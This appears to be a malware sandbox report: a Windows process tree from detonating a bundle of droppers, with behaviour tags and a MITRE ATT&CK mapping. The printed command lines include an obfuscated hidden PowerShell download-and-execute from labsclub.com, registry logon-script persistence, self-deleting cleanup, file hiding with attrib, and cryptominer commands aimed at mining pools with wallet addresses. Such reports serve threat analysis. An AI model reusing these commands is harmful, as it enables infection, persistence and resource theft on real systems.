        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
        12⤵
        
        PID:3024
        
        C:\Users\Admin\AppData\Local\Temp\pbh5w4nahgj\2qzypf3deuq.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pbh5w4nahgj\2qzypf3deuq.exe" /ustwo INSTALL
        8⤵
        
        PID:4156
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "2qzypf3deuq.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\pbh5w4nahgj\2qzypf3deuq.exe" & exit
        9⤵
        
        PID:4060
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "2qzypf3deuq.exe" /f
        10⤵
        Kills process with taskkill
        
        PID:6092
        
        C:\Users\Admin\AppData\Local\Temp\pxi25lf4cte\vpn.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pxi25lf4cte\vpn.exe" /silent /subid=482
        8⤵
        
        PID:3852
        
        C:\Users\Admin\AppData\Local\Temp\is-25L3G.tmp\vpn.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-25L3G.tmp\vpn.tmp" /SL5="$1033A,15170975,270336,C:\Users\Admin\AppData\Local\Temp\pxi25lf4cte\vpn.exe" /silent /subid=482
        9⤵
        
        PID:5128
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "
        10⤵
        
        PID:4520
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe remove tap0901
        11⤵
        
        PID:3144
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "
        10⤵
        
        PID:2184
        
        C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exe
        
        tapinstall.exe install OemVista.inf tap0901
        11⤵
        
        PID:5560
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
        10⤵
        
        PID:3532
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
        10⤵
        
        PID:904
        
        C:\Users\Admin\AppData\Local\Temp\2ktstgfdbbm\IBInstaller_97039.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2ktstgfdbbm\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
        8⤵
        
        PID:1012
        
        C:\Users\Admin\AppData\Local\Temp\is-DQUG2.tmp\IBInstaller_97039.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-DQUG2.tmp\IBInstaller_97039.tmp" /SL5="$40300,14575146,721408,C:\Users\Admin\AppData\Local\Temp\2ktstgfdbbm\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
        9⤵
        
        PID:5188
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-9QCCB.tmp\{app}\microsoft.cab -F:* %ProgramData%
        10⤵
        
        PID:5404
        
        C:\Windows\SysWOW64\expand.exe
        
        expand C:\Users\Admin\AppData\Local\Temp\is-9QCCB.tmp\{app}\microsoft.cab -F:* C:\ProgramData
        11⤵
        
        PID:5608
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://egypthistoricart.online/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039^&param=
        10⤵
        
        PID:4200
        
        C:\ProgramData\regid.1993-06.com.microsoft\client32.exe
        
        "C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"
        10⤵
        
        PID:7148
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\client32.exe" /f
        10⤵
        
        PID:5936
        
        C:\Users\Admin\AppData\Local\Temp\is-9QCCB.tmp\{app}\chrome_proxy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-9QCCB.tmp\{app}\chrome_proxy.exe"
        10⤵
        
        PID:7664
        
        C:\Users\Admin\AppData\Local\Temp\c0odji24axc\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\c0odji24axc\app.exe" /8-23
        8⤵
        
        PID:2616
        
        C:\Users\Admin\AppData\Local\Temp\c0odji24axc\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\c0odji24axc\app.exe" /8-23
        9⤵
        
        PID:7144
        
        C:\Users\Admin\AppData\Local\Temp\o4nj2v2akoi\ctibw4r20r3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\o4nj2v2akoi\ctibw4r20r3.exe"
        8⤵
        
        PID:4776
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\o4nj2v2akoi\ctibw4r20r3.exe"
        9⤵
        
        PID:5520
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 1.1.1.1 -n 1 -w 3000
        10⤵
        Runs ping.exe
        
        PID:5640
        
        C:\Users\Admin\AppData\Local\Temp\5ienu54z3u2\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5ienu54z3u2\cpyrix.exe" /VERYSILENT
        8⤵
        
        PID:1180
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        9⤵
        
        PID:5216
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        "{path}"
        10⤵
        
        PID:4232
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        9⤵
        
        PID:2472
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        "{path}"
        10⤵
        
        PID:5072
        
        C:\Users\Admin\AppData\Local\Temp\u3uxv0mc1ul\khbybtmbbhh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u3uxv0mc1ul\khbybtmbbhh.exe" /quiet SILENT=1 AF=756
        8⤵
        
        PID:4828
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\u3uxv0mc1ul\khbybtmbbhh.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\u3uxv0mc1ul\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1617301067 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"
        9⤵
        
        PID:4808
    - - C:\Users\Admin\AppData\Local\Temp\LPHJWG9J90\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LPHJWG9J90\setups.exe" ll
        5⤵
        Executes dropped EXE
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:4716
      - C:\Users\Admin\AppData\Local\Temp\is-GT0AS.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-GT0AS.tmp\setups.tmp" /SL5="$40114,454998,229376,C:\Users\Admin\AppData\Local\Temp\LPHJWG9J90\setups.exe" ll
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:184
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
      4⤵
      Executes dropped EXE
      Modifies system certificate store
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:212
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4684
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4196
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full_Version.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\Full_Version.exe"
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      PID:804
    - - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
        5⤵
        
        PID:2456
      - C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
        6⤵
        
        PID:3848
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
      4⤵
      PID:4064
    - - C:\Users\Admin\AppData\Roaming\935C.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\935C.tmp.exe"
        5⤵
        
        PID:2304
      - C:\Windows\system32\msiexec.exe
        
        -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w4423 --cpu-max-threads-hint 50 -r 9999
        6⤵
        
        PID:2300
      - C:\Windows\system32\msiexec.exe
        
        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w26743@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
        6⤵
        
        PID:552
    - - C:\Users\Admin\AppData\Roaming\94E4.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\94E4.tmp.exe"
        5⤵
        
        PID:4164
      - C:\Windows\SysWOW64\cmd.exe
        
        /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\94E4.tmp.exe
        6⤵
        
        PID:5704
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 3
        7⤵
        Delays execution with timeout.exe
        
        PID:1156
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
        5⤵
        
        PID:3088
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        6⤵
        Runs ping.exe
        
        PID:4724
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
      4⤵
      PID:3692
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
      4⤵
      PID:3644
    - - C:\ProgramData\5241145.exe
        
        "C:\ProgramData\5241145.exe"
        5⤵
        
        PID:4152
    - - C:\ProgramData\8939384.exe
        
        "C:\ProgramData\8939384.exe"
        5⤵
        
        PID:1108
      - C:\ProgramData\Windows Host\Windows Host.exe
        
        "C:\ProgramData\Windows Host\Windows Host.exe"
        6⤵
        
        PID:5360
    - - C:\ProgramData\4083708.exe
        
        "C:\ProgramData\4083708.exe"
        5⤵
        
        PID:5380
      - C:\ProgramData\4083708.exe
        
        "{path}"
        6⤵
        
        PID:7464
    - - C:\ProgramData\386174.exe
        
        "C:\ProgramData\386174.exe"
        5⤵
        
        PID:5364
      - C:\ProgramData\386174.exe
        
        "{path}"
        6⤵
        
        PID:7748
      - C:\ProgramData\386174.exe
        
        "{path}"
        6⤵
        
        PID:7764

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4408

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:1120

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:1908

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:1192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:428

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:5800
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding ABF83264DD363256CE6D9805D9C03919 C
  2⤵
  PID:6132
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding B3226CCC2F2617EBF8F7139B050F56C9
  2⤵
  PID:1620
- C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
  2⤵
  PID:4176
- - C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default
    3⤵
    PID:7876

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:5936

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:4024

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\1d3e867bca50404d85f394f25a31e687 /t 0 /p 5936
1⤵
PID:7712

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall
1⤵
PID:6828
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{3c450f01-e265-2440-a0e3-f4776788b23d}\oemvista.inf" "9" "4d14a44ff" "00000000000000C8" "WinSta0\Default" "000000000000016C" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:6624
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "00000000000000C8"
  2⤵
  PID:3872

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:7980

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc
1⤵
PID:8016

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:7804

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:7456

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\bd93ebf8448b47f0b342e3a1f7ea34b9 /t 6672 /p 7804
1⤵
PID:7604

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:6668
- C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
  MaskVPNUpdate.exe /silent
  2⤵
  PID:7976

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
PID:6936

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
PID:3588

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
PID:5564

C:\Users\Admin\AppData\Local\Temp\4827.exe
C:\Users\Admin\AppData\Local\Temp\4827.exe
1⤵
PID:7356

C:\Users\Admin\AppData\Local\Temp\4D68.exe
C:\Users\Admin\AppData\Local\Temp\4D68.exe
1⤵
PID:6824

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
PID:6400

C:\Users\Admin\AppData\Local\Temp\6D45.exe
C:\Users\Admin\AppData\Local\Temp\6D45.exe
1⤵
PID:8068

C:\Users\Admin\AppData\Local\Temp\79D9.exe
C:\Users\Admin\AppData\Local\Temp\79D9.exe
1⤵
PID:7828
- C:\Users\Admin\AppData\Local\Temp\Windows system.exe
  "C:\Users\Admin\AppData\Local\Temp\Windows system.exe"
  2⤵
  PID:4268
- C:\Windows\SysWOW64\attrib.exe
  attrib +h +r +s "C:\Users\Admin\AppData\Local\Temp\Windows system.exe"
  2⤵
  - Views/modifies file attributes
  PID:372

C:\Users\Admin\AppData\Local\Temp\8747.exe
C:\Users\Admin\AppData\Local\Temp\8747.exe
1⤵
PID:7232

C:\Users\Admin\AppData\Local\Temp\9D03.exe
C:\Users\Admin\AppData\Local\Temp\9D03.exe
1⤵
PID:5600

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:6284

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:7808

C:\Windows\system32\werfault.exe
werfault.exe /h /shared Global\a43848d76d8c4a2692b3dce55b0662cb /t 7432 /p 6400
1⤵
PID:8004

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:7136

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:6192

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5268

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:5468

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:6168

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:6260

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:3208

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Hidden Files and Directories

T1158

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Hidden Files and Directories

T1158

Install Root Certificate

T1130

Modify Registry

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Remote System Discovery

T1018

Software Discovery

T1518

System Information Discovery